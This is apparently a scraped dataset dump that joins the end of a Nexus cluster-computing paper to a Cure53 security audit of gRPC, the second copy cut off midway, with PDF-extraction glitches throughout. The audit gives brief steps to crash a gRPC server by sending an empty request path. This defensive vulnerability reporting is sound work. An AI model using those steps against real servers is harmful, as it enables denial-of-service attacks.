\\fne-\\ngrained manner, and do not account for data local-\\nity. Grid schedulers like Condor [18] support locality\\nconstraints, though usually at the level of geographic\\nsites. Condor uses a \\\\ClassAd\\\" mechanism match\\nnode properties to job needs. As in Clustera, this\\nmeans that job needs that cannot be expressed as\\nClassAds cannot be accounted for. Nexus gives jobs\\n\\fner control over where they run through slot o\\u000bers.\\n6 Discussion and Future Work\\nBy letting diverse cluster computing frameworks\\ncoexist e\\u000eciently, Nexus accelerates innovation in\\nthe cloud and encourages development of special-\\nized frameworks rather than one-size-\\fts-all solu-\\ntions. Nexus is strongly inspired by work on micro-\\nkernels [5], exokernels [10] and hypervisors [11] in the\\nOS community and by the success of the narrow-waist\\nIP model [7] in computer networks. Like a microker-\\nnel or hypervisor, Nexus is a stable, minimal core that\\nprovides performance and fault isolation to frame-\\nworks sharing a cluster. Like an exokernel, Nexus\\naims to give frameworks as much control over their\\nexecution as possible. Finally, like IP, Nexus encour-\\nages diversity and innovation in cluster computing by\\nproviding a \\\\narrow waist\\\" API which lets di\\u000berent\\nframeworks run over shared hardware.\\nWe have already written some applications directly\\nagainst Nexus, and are currently porting Hadoop to\\n4run over it. However, to ease the development of new\\nframeworks, we plan to build a stack of higher-level\\nabstractions over Nexus for framework developers to\\nuse. For example, if Nexus represents the IP of cluster\\ncomputing, then a fault-tolerance library providing a\\nconcept of \\\\reliable tasks\\\" might represent the TCP.\\nOther reusable abstractions that we intend to build\\nare a data \\row DAG library similar to Dryad and a\\ntask-queue library similar to Intel Threading Build-\\ning Blocks [16] for frameworks that wish to employ\\nnested or irregular parallelism.\\nUsing Nexus, we intend to explore both how to pro-\\nvide better programming models for existing cloud\\napplications and how to enable other applications to\\nbene\\ft from cloud computing. Some of the new ap-\\nplications we wish to explore include:\\n1.Scienti\\fc Computing: Many scienti\\fc applica-\\ntions are not communication-intensive and could\\ntherefore run on commodity clusters, but scien-\\ntists typically write such applications using li-\\nbraries like MPI rather than MapReduce.\\n2.Parallel Build/Test Tools: It would be bene\\f-\\ncial to run build tools like distcc and distributed\\nunit testing tools on the same infrastructure as\\nHadoop clusters to maximize utilization.\\n3.Web Servers: It may even be possible to use\\nNexus to share resources between batch comput-\\ning frameworks and interactive web applications.\\nWeb servers are stateless, so they can be started\\nand stopped dynamically as \\\\tasks\\\" as long as\\nload balancers are aware of this. This would let\\nan organization use a portion of its cluster for web\\nserving during the day and batch applications at\\nnight, improving data center utilization.\\nFinally, from an operational standpoint, Nexus al-\\nlows an organization to use multiple cluster comput-\\ning frameworks without having to allocate separate\\nhardware to each one. For example, if a new im-\\nplementation of MapReduce appears that is faster\\nthan Hadoop on some workloads, an organization can\\nswitch a portion of its jobs to it. If an organization\\nwishes to run two isolated instances of Hadoop, or two\\ndi\\u000berent versions of Hadoop, it can do this as well.\\nLastly, if a developer builds a specialized framework\\noptimized for only one type of application, an orga-\\nnization can run this framework alongside Hadoop.\\n7 Acknowledgments\\nWe would like to thank Randy Katz, Anthony Joseph,\\nScott Shenker, Krste Asanovi\\u0013 c, George Necula, and\\nthe anonymous reviewers. This research was sup-\\nported by California MICRO, California Discov-\\nery, the Natural Sciences and Engineering ResearchCouncil of Canada, a National Science Foundation\\nGraduate Research Fellowship2, and the Berkeley\\nRAD Lab sponsors: Sun, Google, Microsoft, HP,\\nCisco, NetApp, VMWare, Amazon and Facebook.\\nReferences\\n[1] Amazon EC2. http://aws.amazon.com/ec2/ .\\n[2] distcc: a fast, free distributed c/c++ compiler. http:\\n//distcc.samba.org/ .\\n[3] Hadoop. http://lucene.apache.org/hadoop .\\n[4] Hadoop scheduling discussion. http://issues.apache.\\norg/jira/browse/HADOOP-4667 .\\n[5] M. J. Accetta, R. V. Baron, W. J. Bolosky, D. B. Golub,\\nR. F. Rashid, A. Tevanian, and M. Young. Mach: A\\nnew kernel foundation for unix development. In USENIX\\nSummer , pages 93{113, 1986.\\n[6] R. D. Blumofe, C. F. Joerg, B. C. Kuszmaul, C. E. Leis-\\nerson, K. H. Randall, and Y. Zhou. Cilk: An e\\u000ecient\\nmultithreaded runtime system. In Journal of Parallel and\\nDistributed Computing , pages 207{216, 1995.\\n[7] V. G. Cerf, Robert, and E. Icahn. A protocol for\\npacket network intercommunication. IEEE Transactions\\non Communications , 22:637{648, 1974.\\n[8] J. Dean and S. Ghemawat. MapReduce: Simpli\\fed data\\nprocessing on large clusters. In OSDI , pages 137{150,\\n2004.\\n[9] D. J. DeWitt, E. Paulson, E. Robinson, J. F. Naughton,\\nJ. Royalty, S. Shankar, and A. Krioukov. Clustera: an\\nintegrated computation and data management system.\\nPVLDB , 1(1):28{41, 2008.\\n[10] D. R. Engler, M. F. Kaashoek, and J. O'Toole. Exokernel:\\nAn operating system architecture for application-level re-\\nsource management. In SOSP , pages 251{266, 1995.\\n[11] E. C. Hendricks and T. C. Hartmann. Evolution of\\na virtual machine subsystem. IBM Systems Journal ,\\n18(1):111{142, 1979.\\n[12] M. Isard, M. Budiu, Y. Yu, A. Birrell, and D. Fetterly.\\nDryad: distributed data-parallel programs from sequen-\\ntial building blocks. In EuroSys 07 , pages 59{72, 2007.\\n[13] D. Nurmi, R. Wolski, C. Grzegorczyk, G. Obertelli, S. So-\\nman, L. Youse\\u000b, and D. Zagorodnov. The eucalyptus\\nopen-source cloud-computing system. In Proceedings of\\nCloud Computing and Its Applications [Online] , Chicago,\\nIllinois, 10 2008.\\n[14] C. Olston, B. Reed, U. Srivastava, R. Kumar, and\\nA. Tomkins. Pig latin: a not-so-foreign language for data\\nprocessing. In SIGMOD Conference , pages 1099{1110,\\n2008.\\n[15] R. Pike, S. Dorward, R. Griesemer, and S. Quinlan. Inter-\\npreting the data: Parallel analysis with sawzall. Scienti\\fc\\nProgramming , 13(4):277{298, 2005.\\n[16] J. Reinders. Intel Threading Building Blocks: Out\\ftting\\nC++ for Mul ti-core PRocessor Parallelism . O'Reilly,\\n2007.\\n[17] G. Staples. Torque - torque resource manager. In SC,\\npage 8, 2006.\\n[18] D. Thain, T. Tannenbaum, and M. Livny. Distributed\\ncomputing in practice: the Condor experience. Concur-\\nrency and Computation - Practice and Experience , 17(2-\\n4):323{356, 2005.\\nNotes\\n1That is, 99% of map tasks read from local disk.\\n2Any opinions, \\fndings, conclusions, or recommendations\\nexpressed in this publication are those of the authors and do\\nnot necessarily re\\rect the views of the NSF.\\n5\"\n }\n]"}}},{"rowIdx":39463,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"grpc_security_audit.pdf\",\n \"project_name\": \"gRPC\",\n \"subcategory\": \"Remote Procedure Call\"\n}"},"content":{"kind":"list like","value":[{"data":" Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nPentest-Report gRPC 09.-10.2019\nCure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. D. Weißer, J. Larsson,\nBSc. J. Hector, MSc. N. Krein, Dipl.-Ing. A. Inführ\nIndex\nIntroduction\nScope\nTest Methodology\nPart 1: Manual Code Auditing\nPart 2: Code-Assisted Penetration Testing\nIdentified Vulnerabilities\nGRP-01-001 Server: DoS through uninitialized pointer dereference (Medium)\nMiscellaneous Issues\nGRP-01-002 General: Refs to freed memory not automatically nulled (Low)\nGRP-01-003 General: Calls to malloc suffer from potential integer overflows (Low)\nConclusions\nIntroduction\n“gRPC is a modern open source high performance RPC framework that can run in any\nenvironment. It can efficiently connect services in and across data centers with\npluggable support for load balancing, tracing, health checking and authentication. It is\nalso applicable in last mile of distributed computing to connect devices, mobile\napplications and browsers to backend services.”\nFrom https://grpc.io/about/\nThis report documents the findings of a security assessment targeting the gRPC\nsoftware. Carried out by Cure53 in autumn 2019, this project specifically entailed a\npenetration test and a source code audit. Featuring primarily the C++ implementation\nfrom the v1.2.4.x branch of gRPC maintained by Google, the tests were generously\nsponsored by CNCF.\nAs for the resources, seven senior testers from the Cure53 were tasked with completing\nthis project. After being commissioned by CNCF to execute the assessment, the Cure53\nteam worked with a budget of eighteen person-days, all spent on the scope and\nCure53, Berlin · 10/15/19 1/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \ndocumentation in late September and early-to-mid October of 2019. The focus was\nplaced on the aspects linked to the HTTP2 stack, gRPC compression features and\nbuffering mechanisms.\nThe Cure53 team followed the white-box methodology, which is a typical approach for\nCNCF projects and signifies access to the codebase which is actually available as open\nsource. In addition, a GCP environment which was initially set up by Cure53 and later\nsupplanted with two additional environments furnished by Google, served as a close\napproximation of what could be found in a production environment. Cure53 further got\nbriefed by Google about the key focus areas for this audit noted above.\nIn order to best address the three main arenas, three Work Packages (WPs) have been\ndelineated. While WP1 specifically focused on the HTTP2 Protocol Stack, the tests\nperformed for WP2 entailed investigating encryption and authentication mechanisms and\ndeployments. Finally, in WP3 Cure53 honed in on the compression and buffering\nfeatures. The two-pronged strategy, which again is typical for CNCF-funded projects,\nwas also deployed here and meant that work has been divided into dedicated\npenetration testing and the phase of code auditing. Specific tasks are further elaborated\non in the Coverage section of this document.\nThe project started as scheduled and progressed quickly. During the assessment,\nCure53 communicated with the Google team in a jointly used Slack channel, enabling\nreal-time exchanges. In the interest of time efficiency, findings were live-reported to the\ngRPC team, so that the fixes could be discussed by the involved parties. Among three\nissues spotted in the codebase, one has been categorized as a security vulnerability\nwith a risk level set to “Medium”. The remaining flaws were considered to only signify\ngeneral weaknesses without much exploitation potential. This outcome is quite\nimpressive, especially given the thorough and focused penetration testing, fuzzing and\ncode auditing approaches. Consequently, this Cure53 assessment points towards a\nrather positive result and a decent level of code maturity at gRPC.\nThe report will now shed more light on the scope used for this assessment and then\nelaborate on the testing methodology and test coverage. It then moves on to discussing\nall spotted findings in chronological order, as well as with sufficient technical depth and\ndetail. Finally, the report will close with a conclusion in which the Cure53 team\nelaborates on the impressions gathered during the assessment. Both broad and more\ngranular recommendations regarding the security properties of the tested gRPC\nsoftware ensue.\nCure53, Berlin · 10/15/19 2/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nScope\n•gRPC - the C++ based RPC library and framework\n◦WP1 : HTTP/2 Protocol Stack\n◦WP2 : Encryption and Authentication\n◦WP3 : Compression and Buffering\n◦Sources were available via GitHub\n▪https://github.com/grpc/grpc/tree/v1.24.x \n◦Environment and Instructions\n▪A test environment on GCP was available for the Cure53 team and co-\nmaintained by Google to foster testing\n▪Cure53 further received detailed instructions about key focus areas and software\nsetup from Google\nTest Methodology\nThe following paragraphs describe the testing methodology used during the audit of the\ngRPC codebase. The test was driven by two approaches over three Work Packages.\nEach strategy - i.e. code auditing and pentesting - fulfilling different goals. In particular,\nthe manual source code reviews centered on spotting insecure code patterns. Usually\nissues around memory corruption issues, race conditions, information leakage or similar\nflaws can be found in this context. During the second phase, it was evaluated whether\nthe stated security goals and premise can, in fact, withstand real-life attack scenarios.\nPart 1: Manual Code Auditing\nThis section lists the steps that were undertaken during the first phase of the audit\nagainst the gRPC software compound. Since no major issues were spotted, the list\nportrays the thoroughness of the audit and attests to the impressively high quality of the\nproject.\n•After familiarizing themselves with the documentation and codebase, Cure53\nteam continued checking of string functions and memory allocation wrappers\nspotted in the codebase in scope. Auditing of the usual C-language-relevant\ndangerous sinks, like memcpy, strcpy, sprintf etc. took place in the early phase of\nthe code analysis.\n•Further attention was given to how Base64-encoded input is being treated and\nthe Cure53 team attempted to cause the decoder to stumble by providing\nmalformed Base64 sequences using training bytes, malformed padding\nsequences and illegal characters. It was demonstrated that no issues could be\nspotted in this area and that the handling of Base64 by gRPC was generally well-\nimplemented.\nCure53, Berlin · 10/15/19 3/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \n•Attention was also dedicated to the implementation of the GZIP and DEFLATE\ncompression and decompression. It was quickly found that gRPC makes use of\nstandard libraries such as zlib and that the integration of those was done\nproperly. The tests attempting to cause a Denial-of-Service or alike were\nunsuccessful and the implementation made a good impression.\n•Further attention was given to the HPACK parser implementation - especially\navenues where indices are being utilized or where different type and length\nvalues could be used - as specified in RFC 75401. One area in the audited code\nappeared to be affected by an Integer Underflow but a closer analysis showed\nthat indeed all necessary checks were put in place by the maintainers to keep\nthis issue from having any effect.\n•A code audit against the implementation of the header element construction was\nperformed to check if the results of the parsing processes are handled well. No\nsignificant findings could be identified.\n•In addition, the code handling message frames, i.e. in core/ext/transport/chttp2/\ntransport/parsing.cc, were inspected and checked for errors potentially allowing\nfor DoS, memory corruption or alike. No implementation flaws could be observed\nand the code makes a clean impression.\nPart 2: Code-Assisted Penetration Testing\nThe following list documents the distinguishable steps taken during the second part of\nthe test. A code-assisted penetration test was executed against the pre-configured\nserver instance on GCP running gRPC and provided by the development team. Since\nonly a few miscellaneous issues were found during the first part of the audit, this\nadditional approach was used to ensure maximum coverage of the originally defined\nattack surface.\n•All previously discovered gRPC vulnerabilities were closely inspected to gain a\ngeneral overview of repeating patterns and possible avenues to be explored.\n•The test-cases for all encryption and authentication aspects were evaluated, in\nparticular in the realm of handling broken certificates. Items interfacing with\nBoringSSL were found to be done properly and no errors could be identified.\n•A locally modified version of greeter_server_tls was used to inspect the TLS\nprotocol exchange alongside verifying the validity of simultaneously recorded\ntcpdump output.\n•The execution flow and source code between greeter_client_tls and\ngreeter_server_tls was cross-referenced to obtain an overview of the exposed\ncomponents.\n1 https://tools.ietf.org/html/rfc7540#page-12\nCure53, Berlin · 10/15/19 4/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \n•The application of oversized and malformed key and certificate files was\nattempted to probe the handling of such errors. The code was found to be\nhandling all cases terminally but gracefully.\n•A working fuzzer setup was created and tested. Once successful, the fuzzer was\nrun over the course of the penetration test and audit. It managed to in fact\nproduce a couple of useful results, for instance GRP-01-001.\n•Extensive binary analysis of the fuzzer-generated backtraces in combination with\nthe source code was undertaken to unveil additional problems but success was\nlimited due to time constraints.\n•Further penetration testing and fuzzing attention was given to the compression-\nand decompression-related implementations for channels and messages in the\ntested codebase. It was checked if any undocumented compression algorithms\nwere supported but this proved not to be the case.\n•Tests making use of compression bombs were performed by creating a modified\ngRPC client capable of sending those. No findings were spotted in this realm;\nafter a certain threshold (i.e. 7MB of payload) value, the server started to ignore\ncompressed payload and fell back to the uncompressed text.\n•Additionally, sending of varying slice counts to the server was attempted to see if\nany unexpected behavior could be provoked. Cure53 gave up on this since no\nproblematic reactions could be observed.\nCure53, Berlin · 10/15/19 5/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nIdentified Vulnerabilities\nThe following sections list both vulnerabilities and implementation issues spotted during\nthe testing period. Note that findings are listed in chronological order rather than by their\ndegree of severity and impact. The aforementioned severity rank is simply given in\nbrackets following the title heading for each vulnerability. Each vulnerability is\nadditionally given a unique identifier (e.g. GRP-01-001) for the purpose of facilitating any\nfuture follow-up correspondence.\nGRP-01-001 Server: DoS through uninitialized pointer dereference (Medium)\nWhile fuzzing the communication between the gRPC greeter example client, a\nsegmentation fault was observed due to dereferencing a null pointer. This led to a\nDenial-of-Service (DoS). Upon further investigation of the crash, it was discovered that\nan empty path in the request headers causes this issue.\nThe following code excerpt highlights the relevant parts.\nAffected File:\nsrc/core/lib/surface/server.cc\nAffected Code:\nstatic void start_new_rpc(grpc_call_element* elem) {\n channel_data* chand = static_cast(elem->channel_data);\n call_data* calld = static_cast(elem->call_data);\n[...]\n if (chand->registered_methods && calld->path_set && calld->host_set) {\n[...]\n /* check for a wildcard method definition (no host set) */\n hash = GRPC_MDSTR_KV_HASH(0, grpc_slice_hash_internal(calld->path));\n for (i = 0; i <= chand->registered_method_max_probes; i++) {\n rm = &chand->registered_methods[(hash + i) %\n chand->registered_method_slots];\n if (!rm) break;\n if (rm->has_host) continue;\n if (!grpc_slice_eq(rm->method, calld->path)) continue;\n if ((rm->flags & GRPC_INITIAL_METADATA_IDEMPOTENT_REQUEST) &&\n 0 == (calld->recv_initial_metadata_flags &\n GRPC_INITIAL_METADATA_IDEMPOTENT_REQUEST)) {\n continue;\n }\n finish_start_new_rpc(server, elem, &rm->server_registered_method->matcher,\n rm->server_registered_method ->payload_handling);\nCure53, Berlin · 10/15/19 6/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nWhen the empty path is used to compute the hash value for indexing the\nregistered_methods array, it is possible that the resulting index points to an entry that\nhas not been initialized. Since the allocated space for the given array is filled with null\nvalues, the server_registered_method pointer will be null.\nIt should be noted that the crash does not trigger reliably and depends on the global\nseed value used for computing the hashes. This seed value changes with every restart\nof the application. Therefore, when trying to reproduce the issue, it may be necessary to\nrestart the server application multiple times.\nSteps to reproduce:\n•Download the gRPC helloworld client\n•Replace the path in Greeter_method_names with an empty string\n•Run the client against a gRPC server\nIt is recommended to ensure that no empty value for path can be given.\nMiscellaneous Issues\nThis section covers those noteworthy findings that did not lead to an exploit but might aid\nan attacker in achieving their malicious goals in the future. Most of these results are\nvulnerable code snippets that did not provide an easy way to be called. Conclusively,\nwhile a vulnerability is present, an exploit might not always be possible.\nGRP-01-002 General: Refs to freed memory not automatically nulled (Low)\nWhile auditing the gRPC’s underlying memory allocation functionalities and wrappers\naround the libc malloc function family, it was noticed that pointers to freed memory are\nnot automatically nulled. Instead, coding patterns like the following were observed.\nExamples:\n•gpr_free(service_config);\nservice_config = nullptr;\n•gpr_free(tbl->ents);\ntbl->ents = nullptr;\n•gpr_free(s->header_array.headers);\ns->header_array.headers = nullptr;\n•etc...\nThis pattern of freeing memory and manually setting the corresponding pointer to nullptr\nstems from the fact that the wrapper around libc’s free is implemented without\nautomatically setting this pointer to null as a mandatory operation.\nCure53, Berlin · 10/15/19 7/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nAffected File:\ngrpc/src/core/lib/gpr/alloc.cc\nAffected Code:\nvoid gpr_free(void* p) {\n GPR_TIMER_SCOPE(\"gpr_free\", 0);\n g_alloc_functions.free_fn(p);\n}\nConsidering the fact that it is easy to forget to reset the freed pointer to null when\nnecessary, it might make sense to implement this in gpr_free itself. It should be\nconsidered to rewrite gpr_free so that it accepts the address of the pointer as a\nparameter and resets the pointer to null after the final call to free. Automatically setting\nunused pointers to nullptr is not only a defensive style that protects against dangling\npointer bugs or use after frees, it also makes sure that developers cannot omit important\nnullptr assignments.\nGRP-01-003 General: Calls to malloc suffer from potential integer overflows (Low)\nAnother more general weakness was found in the usage of allocation functions in\ngRPC’s libc wrappers around malloc. As one can see in the following code, gpr_malloc\nis not implemented in a way that takes care of allocating memory for an array of\nelements with the same size for each element.\nAffected File:\ngrpc/src/core/lib/gpr/alloc.cc\nAffected Code:\nvoid* gpr_malloc(size_t size) {\n GPR_TIMER_SCOPE(\"gpr_malloc\", 0);\n void* p;\n if (size == 0) return nullptr;\n p = g_alloc_functions.malloc_fn(size);\n if (!p) {\n abort();\n }\n return p;\n}\nNevertheless, code like in the following snippets is used to make room for multiple\nelements in one single call to gpr_malloc.\nCure53, Berlin · 10/15/19 8/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nExamples:\n•uri_parser.cc\nuri->query_parts_values =\n static_cast(gpr_malloc( uri->num_query_parts * \nsizeof(char**)));\n•http_connect_handshaker.cc\n•headers = static_cast(\n gpr_malloc(sizeof(grpc_http_header) * num_header_strings ));\n•etc …\nAlthough no concrete scenario of this vulnerability being in effect was spotted, this\ncoding pattern is oftentimes prone to integer overflows when multiplying array sizes with\nthe number of the array’s elements.\nIt is recommended to create a calloc(size_t nmemb, size_t size) style wrapper that takes\ncare of allocating nmemb elements of size for each item. Internally, it should be checked\nfor integer overflow when multiplying both values inside the function. This not only\nrepresents a more defensive coding pattern that tries to prevent certain bug classes, but\nalso takes the burden away from developers who otherwise would need to check for\ninteger overflows.\nCure53, Berlin · 10/15/19 9/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nConclusions\nThis Cure53 report clearly demonstrates a strong security posture of the investigated\ngRPC software. After spending eighten days on the scope in September and October of\n2019, seven members of the Cure53 team can conclude that the project complies with\nits security promises.\nDuring this CNCF-funded project, an explicit focus was placed on analyzing the HTTP2\nprotocol flow, where especially the parsing and unpacking of different headers was\nevaluated. Considering the small time-frame, only rudimentary checks could be\nperformed. In parallel to auditing of the source code, the provided helloworld\nserver/client was fuzzed with a modified version of AFL. This yielded a DoS vulnerability\nin the server. However, no other bugs were found using this methodology, pointing to the\ngRPC’s strengths.\nThe HTTP data compressions pertinent to GZIP and DEFLATE use standard libraries\nand were therefore excluded from the code audit. The compression features were\nnevertheless manually pentested and stood strong to Cure53’s scrutiny. As part of the\nanalysis connected to the crash desc ribed in GRP-01-001, a more in-depth look into the\nHPACK parsing code was taken. Overall, the code made a good impression in that it\nfollows good coding practices and displays proper checks in critical areas, for example\nthe uint32 number parsing paid special attention to detection of integer overflows. A\ncloser look at the frame similarly revealed it to be well-written, indicating a coding\nguideline being strictly followed by the developers.\nThe TLS examples were used as a basis for analyzing the TLS implementation in gRPC.\nHere the malformed strings and certificate constructs were evaluated in the pursuit to\nfind logical flaws in the implementation. Crashes were observed but none of them were\ndeemed to be of security value, since they required patching the example binaries with\nout-of-bounds strings and values. No bugs were discovered during this phase and,\nsimilarly, no leaks were observed during the analysis of TLS traffic, handshakes, etc.\nThe protocol sequences displayed no anomalies.\nThe existence and mandatory inclusion of a regression test, several sanitizer\ncomponents and the integration of a fuzzing infrastructure to the protocol aspects further\ntranslates to building on the notion of a responsibly maintained software system. Setting\nup a test harness proved to be straightforward and reliable. The development team gave\ndetailed instructions on how to build all of the necessary components, again confirming\nthat having their project tested poses no issue. It must be emphasized that, considering\nthe large codebase and the existing constraints of the audit, a significant but far from\ncomplete code coverage has been achieved.\nCure53, Berlin · 10/15/19 10/11 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nIn sum, judging from the somewhat limited coverage achieved during this code audit and\ncode-assisted penetration test, the Cure53 team can only attest to a very high quality of\nthe examined gRPC system. This autumn 2019 project ascertained that the gRPC team\nis fully capable of delivering excellent results in terms of security and maintainability.\nCure53 would like to thank Srini Polavarapu, Hope Casey-Allen, Nicolas Noble and April\nKyle Nassi of Google , as well as Chris Aniszczyk of The Linux Foundation, for their\nexcellent project coordination, support and assistance, both before and during this\nassignment. Special gratitude also needs to be extended to The Linux Foundation for\nsponsoring this project.\nCure53, Berlin · 10/15/19 11/11"}],"string":"[\n {\n \"data\": \" Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nPentest-Report gRPC 09.-10.2019\\nCure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. D. Weißer, J. Larsson,\\nBSc. J. Hector, MSc. N. Krein, Dipl.-Ing. A. Inführ\\nIndex\\nIntroduction\\nScope\\nTest Methodology\\nPart 1: Manual Code Auditing\\nPart 2: Code-Assisted Penetration Testing\\nIdentified Vulnerabilities\\nGRP-01-001 Server: DoS through uninitialized pointer dereference (Medium)\\nMiscellaneous Issues\\nGRP-01-002 General: Refs to freed memory not automatically nulled (Low)\\nGRP-01-003 General: Calls to malloc suffer from potential integer overflows (Low)\\nConclusions\\nIntroduction\\n“gRPC is a modern open source high performance RPC framework that can run in any\\nenvironment. It can efficiently connect services in and across data centers with\\npluggable support for load balancing, tracing, health checking and authentication. It is\\nalso applicable in last mile of distributed computing to connect devices, mobile\\napplications and browsers to backend services.”\\nFrom https://grpc.io/about/\\nThis report documents the findings of a security assessment targeting the gRPC\\nsoftware. Carried out by Cure53 in autumn 2019, this project specifically entailed a\\npenetration test and a source code audit. Featuring primarily the C++ implementation\\nfrom the v1.2.4.x branch of gRPC maintained by Google, the tests were generously\\nsponsored by CNCF.\\nAs for the resources, seven senior testers from the Cure53 were tasked with completing\\nthis project. After being commissioned by CNCF to execute the assessment, the Cure53\\nteam worked with a budget of eighteen person-days, all spent on the scope and\\nCure53, Berlin · 10/15/19 1/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\ndocumentation in late September and early-to-mid October of 2019. The focus was\\nplaced on the aspects linked to the HTTP2 stack, gRPC compression features and\\nbuffering mechanisms.\\nThe Cure53 team followed the white-box methodology, which is a typical approach for\\nCNCF projects and signifies access to the codebase which is actually available as open\\nsource. In addition, a GCP environment which was initially set up by Cure53 and later\\nsupplanted with two additional environments furnished by Google, served as a close\\napproximation of what could be found in a production environment. Cure53 further got\\nbriefed by Google about the key focus areas for this audit noted above.\\nIn order to best address the three main arenas, three Work Packages (WPs) have been\\ndelineated. While WP1 specifically focused on the HTTP2 Protocol Stack, the tests\\nperformed for WP2 entailed investigating encryption and authentication mechanisms and\\ndeployments. Finally, in WP3 Cure53 honed in on the compression and buffering\\nfeatures. The two-pronged strategy, which again is typical for CNCF-funded projects,\\nwas also deployed here and meant that work has been divided into dedicated\\npenetration testing and the phase of code auditing. Specific tasks are further elaborated\\non in the Coverage section of this document.\\nThe project started as scheduled and progressed quickly. During the assessment,\\nCure53 communicated with the Google team in a jointly used Slack channel, enabling\\nreal-time exchanges. In the interest of time efficiency, findings were live-reported to the\\ngRPC team, so that the fixes could be discussed by the involved parties. Among three\\nissues spotted in the codebase, one has been categorized as a security vulnerability\\nwith a risk level set to “Medium”. The remaining flaws were considered to only signify\\ngeneral weaknesses without much exploitation potential. This outcome is quite\\nimpressive, especially given the thorough and focused penetration testing, fuzzing and\\ncode auditing approaches. Consequently, this Cure53 assessment points towards a\\nrather positive result and a decent level of code maturity at gRPC.\\nThe report will now shed more light on the scope used for this assessment and then\\nelaborate on the testing methodology and test coverage. It then moves on to discussing\\nall spotted findings in chronological order, as well as with sufficient technical depth and\\ndetail. Finally, the report will close with a conclusion in which the Cure53 team\\nelaborates on the impressions gathered during the assessment. Both broad and more\\ngranular recommendations regarding the security properties of the tested gRPC\\nsoftware ensue.\\nCure53, Berlin · 10/15/19 2/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\nScope\\n•gRPC - the C++ based RPC library and framework\\n◦WP1 : HTTP/2 Protocol Stack\\n◦WP2 : Encryption and Authentication\\n◦WP3 : Compression and Buffering\\n◦Sources were available via GitHub\\n▪https://github.com/grpc/grpc/tree/v1.24.x \\n◦Environment and Instructions\\n▪A test environment on GCP was available for the Cure53 team and co-\\nmaintained by Google to foster testing\\n▪Cure53 further received detailed instructions about key focus areas and software\\nsetup from Google\\nTest Methodology\\nThe following paragraphs describe the testing methodology used during the audit of the\\ngRPC codebase. The test was driven by two approaches over three Work Packages.\\nEach strategy - i.e. code auditing and pentesting - fulfilling different goals. In particular,\\nthe manual source code reviews centered on spotting insecure code patterns. Usually\\nissues around memory corruption issues, race conditions, information leakage or similar\\nflaws can be found in this context. During the second phase, it was evaluated whether\\nthe stated security goals and premise can, in fact, withstand real-life attack scenarios.\\nPart 1: Manual Code Auditing\\nThis section lists the steps that were undertaken during the first phase of the audit\\nagainst the gRPC software compound. Since no major issues were spotted, the list\\nportrays the thoroughness of the audit and attests to the impressively high quality of the\\nproject.\\n•After familiarizing themselves with the documentation and codebase, Cure53\\nteam continued checking of string functions and memory allocation wrappers\\nspotted in the codebase in scope. Auditing of the usual C-language-relevant\\ndangerous sinks, like memcpy, strcpy, sprintf etc. took place in the early phase of\\nthe code analysis.\\n•Further attention was given to how Base64-encoded input is being treated and\\nthe Cure53 team attempted to cause the decoder to stumble by providing\\nmalformed Base64 sequences using training bytes, malformed padding\\nsequences and illegal characters. It was demonstrated that no issues could be\\nspotted in this area and that the handling of Base64 by gRPC was generally well-\\nimplemented.\\nCure53, Berlin · 10/15/19 3/11 Dr.-Ing. Mario Heiderich, Cure53\\n Bielefelder Str. 14 \\n D 10709 Berlin\\n cure53.de · mario@cure53.de \\n•Attention was also dedicated to the implementation of the GZIP and DEFLATE\\ncompression and decompression. It was quickly found that gRPC makes use of\\nstandard libraries such as zlib and that the integration of those was done\\nproperly. The tests attempting to cause a Denial-of-Service or alike were\\nunsuccessful and the implementation made a good impression.\\n•Further attention was given to the HPACK parser implementation - especially\\navenues where indices are being utilized or where different type and length\\nvalues could be used - as specified in RFC 75401. One area in the audited code\\nappeared to be affected by an Integer Underflow but a closer analysis showed\\nthat indeed all necessary checks were put in place by the maintainers to keep\\nthis issue from having any effect.\\n•A code audit against the implementation of the header element construction was\\nperformed to check if the results of the parsing processes are handled well. No\\nsignificant findings could be identified.\\n•In addition, the code handling message frames, i.e. in core/ext/transport/chttp2/\\ntransport/parsing.cc, were inspected and checked for errors potentially allowing\\nfor DoS, memory corruption or alike. No implementation flaws could be observed\\nand the code makes a clean impression.\\nPart 2: Code-Assisted Penetration Testing\\nThe following list documents the distinguishable steps taken during the second part of\\nthe test. A code-assisted penetration test was executed against the pre-configured\\nserver instance on GCP running gRPC and provided by the development team. Since\\nonly a few miscellaneous issues were found during the first part of the audit, this\\nadditional approach was used to ensure maximum coverage of the originally defined\\nattack surface.\\n•All previously discovered gRPC vulnerabilities were closely inspected to gain a\\ngeneral overview of repeating patterns and possible avenues to be explored.\\n•The test-cases for all encryption and 